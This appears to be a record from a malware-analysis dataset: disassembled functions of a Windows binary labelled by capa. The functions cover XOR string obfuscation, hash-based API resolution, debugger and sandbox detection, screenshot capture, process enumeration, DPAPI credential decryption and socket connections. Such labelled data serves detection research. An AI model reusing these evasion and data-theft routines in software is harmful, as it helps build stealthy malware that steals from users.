joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dbc0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b4cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x58
push esi
push edi
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0xf5ddc4fd
mov edi, ecx
mov dword [ebp - 0x64], 0xd3e3c0d6
mov dword [ebp - 0x60], 0xd5d0cbc5
xor ecx, ecx
mov byte [ebp - 0x5c], 0xd5
movups xmmword [ebp - 0x5b], xmm0
mov dword [ebp - 0x4b], 0
mov word [ebp - 0x47], 0
mov byte [ebp - 0x45], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x40dc26
mov dword [0x56557c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5b], 0
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x30], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dc58
sub ecx, edx
lea eax, [ebp - 0x68]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402c40
mov dword [ebp - 4], 0
lea esi, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0xded5c4e1
cmovae esi, dword [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x60], 0xdad19adf
mov byte [ebp - 0x5c], 0xdb
movups xmmword [ebp - 0x5b], xmm0
mov dword [ebp - 0x4b], 0
mov word [ebp - 0x47], 0
mov byte [ebp - 0x45], 0
nop dword [eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 9
jb 0x40dcb0
mov dword [0x565630], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x64]
mov byte [ebp - 0x5b], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dce2
sub ecx, edx
lea eax, [ebp - 0x64]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402c40
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x18]
mov esi, eax
cmp ecx, 0x10
jb 0x40dd48
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40dd3e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ddd6
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x40dd91
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40dd87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ddd6
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
push edi
test esi, esi
je 0x40ddbd
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
int3
Function at 0x40dee0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b6d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x3c
push esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov word [ebp - 0x49], 0xd2dd
xor eax, eax
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea ecx, [eax - 0x51]
xor byte [ebp + eax - 0x49], cl
inc eax
cmp eax, 2
jb 0x40df37
xorps xmm0, xmm0
mov dword [0x565598], eax
lea ecx, [ebp - 0x49]
mov byte [ebp - 0x47], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40df68
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebx + 8]
cmovae ecx, dword [ebp - 0x30]
cmp dword [ebx + 0x1c], 0x10
push ecx
cmovae eax, dword [ebx + 8]
push eax
call fcn.0050ad80
mov ecx, dword [ebp - 0x1c]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x40dfd0
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40dfc6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e03e
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
test esi, esi
je 0x40dff5
push esi
call fcn.0050e798
add esp, 4
mov byte [ebp - 0x11], 1
jmp 0x40dff9
mov byte [ebp - 0x11], 0
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x40e029
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40e01f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e043
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x11]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
call fcn.0050a1d0
int3

Function at 0x40e050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x5651d0
mov esi, ecx
call fcn.00504232
add esp, 4
test eax, eax
jne 0x40e0be
test esi, esi
je 0x40e0a7
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e072
sub ecx, edx
je 0x40e0a7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40e0a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40e0a3
cmp eax, 0x20
je 0x40e0a3
cmp eax, 0x45
je 0x40e0a3
cmp eax, 0x24
jne 0x40e0a7
mov bl, 1
jmp 0x40e0a9
xor bl, bl
push 0x5651d0
call fcn.00504243
add esp, 4
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.00503edb
int3

Function at 0x40e0d0
Capabilities:
Create directory

Disassembly:
push esi
push 0x5651d0
mov esi, ecx
call fcn.00504232
add esp, 4
test eax, eax
jne 0x40e0ff
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x5651d0
mov esi, eax
call fcn.00504243
add esp, 4
mov eax, esi
pop esi
ret
push eax
call fcn.00503edb
int3
Function at 0x40e8e0
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40eae7
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40eadd
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40ead1
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40eac7
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40ea71
push eax
call fcn.0051394a
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40ea71
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40ea68
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ea4d
test dx, dx
je 0x40ea49
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ea4d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40ea27
xor eax, eax
jmp 0x40ea52
sbb eax, eax
or eax, 1
test eax, eax
je 0x40eaef
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40ea20
mov edi, dword [esp + 0x18]
push edi
call fcn.005131f4
add esp, 4
movups xmm0, xmmword [0x539ab8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40ea69
Function at 0x41b540
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b870
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x30]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movaps xmmword [ebp - 0x30], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0x28]
shr eax, 0x1f
and eax, 0xffffff01
mov dword [ebp - 0x53], 0xdcc3d5c4
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x4f], 0x8486d8d6
mov dword [ebp - 0x4b], 0xd6d5dc99
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea ecx, [eax - 0x51]
xor byte [ebp + eax - 0x53], cl
inc eax
cmp eax, 0xc
jb 0x41b8e8
xorps xmm0, xmm0
mov dword [0x565528], eax
lea ecx, [ebp - 0x53]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b920
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x1c]
mov esi, eax
cmp ecx, 0x10
jb 0x41b97a
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41b970
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41b994
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword [ebp - 4]
test esi, esi
movzx eax, al
mov ecx, 1
pop edi
cmove eax, ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
int3
Function at 0x41deb0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x52c80b
push eax
mov dword fs:[0], esp
mov eax, dword [0x56569c]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x41df38
or eax, 1
mov dword [0x56569c], eax
xorps xmm0, xmm0
mov dword [0x5656b8], 2
movups xmmword [0x5656a8], xmm0
mov eax, 0x2f5c
mov dword [0x5656bc], 0xf
push 0x537220
mov word [0x5656a8], ax
mov byte [0x5656aa], 0
call fcn.00504f1c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x41df42
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41e01f
cmp dword [0x5656bc], 0x10
mov eax, 0x5656a8
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x5656a8]
cmp dword [esi + 0x14], 0x10
jb 0x41df72
mov ecx, dword [esi]
push dword [0x5656b8]
mov edx, edi
push eax
push ecx
call fcn.004922e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x41dff6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x41dfad
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402c40
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.0041deb0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x41dff6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dfec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e034
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x41dffe
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
int3
Function at 0x427250
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x427356
push eax
push 0x433462fd
call fcn.00408170
push 0
push 0x4334622e
movzx eax, byte [eax + 0x564e50]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00408170
add esp, 0x10
cmp esi, eax
jne 0x4272be
cmp dword [esp + 0x10], edx
je 0x427356
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x427350
mov esi, dword [esp + 0xc]
test esi, esi
je 0x427364
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x427350
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x427360
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x427314
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x427350
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429570
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x4295b9
add esi, 0x10
cmp esi, 0x800
jbe 0x429590
cmp esi, 0x800
jae 0x4295de
push 0x800
call fcn.0051394a
mov edi, eax
add esp, 4
test edi, edi
jne 0x4295e6
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.00506f10
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.00506990
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402c40
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.0048cb40
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x429678
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42966e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x429693
push ecx
push edx
call fcn.00504f31
add esp, 8
push edi
call fcn.005131f4
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0050a1d0
int3
Function at 0x457e80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x457f24
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x457f1d
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x457eca
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x457ef0
test dl, dl
je 0x457eec
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x457ef0
add ecx, 2
add eax, 2
test dl, dl
jne 0x457ed0
xor eax, eax
jmp 0x457ef5
sbb eax, eax
or eax, 1
test eax, eax
je 0x457f19
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x457ec0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4850a0
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x18]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
call ebx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
je 0x485188
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x485188
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 4], ecx
cmp ecx, esi
je 0x485144
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485144
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x48513d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485120
cmp esi, 0x2fa62ca8
je 0x485148
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485105
mov eax, dword [eax]
jmp 0x4850e0
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
je 0x485188
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x485227
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 8], ecx
cmp ecx, edx
je 0x4851f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4851f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x4851f2
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x4851d5
cmp esi, 0x2fa62ca8
je 0x4851fd
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x4851c0
mov eax, dword [eax]
jmp 0x485194
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x4850b5
push 0
push 0x43346230
call fcn.00408170
add esp, 8
or eax, edx
je 0x48523e
mov bl, 1
jmp 0x485240
xor bl, bl
push 0
push 0x433462fd
call fcn.00408170
add esp, 8
mov byte [eax + 0x564e50], bl
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48ed80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52b090
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00504cb0
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00503abe
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 0x10], esi
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebx + 0x48], 0
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [eax + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov dword [edx + 0x4c], 0
mov eax, dword [0x56564c]
mov ecx, dword [0x565650]
mov dword [edx + 0x44], ecx
mov ecx, dword [ebp - 0xc]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x38], 0
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret